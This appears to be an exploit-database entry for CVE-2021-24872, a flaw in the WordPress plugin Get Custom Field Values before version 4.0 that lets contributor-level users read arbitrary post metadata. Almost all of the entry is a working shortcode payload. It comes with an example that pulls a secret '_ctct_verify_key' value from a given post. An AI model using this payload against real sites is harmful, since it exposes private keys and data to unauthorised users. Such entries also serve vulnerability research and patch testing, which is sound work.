Exploit for Get Custom Field Values < 4.0 - Contributors+ Arbitrary Post Metadata Access CVE-2021-24872

## https://sploitus.com/exploit?id=WPEX-ID:EC23734A-5EA7-4E46-ABA9-3DEE4E6DFFB6
[custom_field field="{field_name}" post_id="{ID}"]

e.g [custom_field field="_ctct_verify_key" post_id="23"]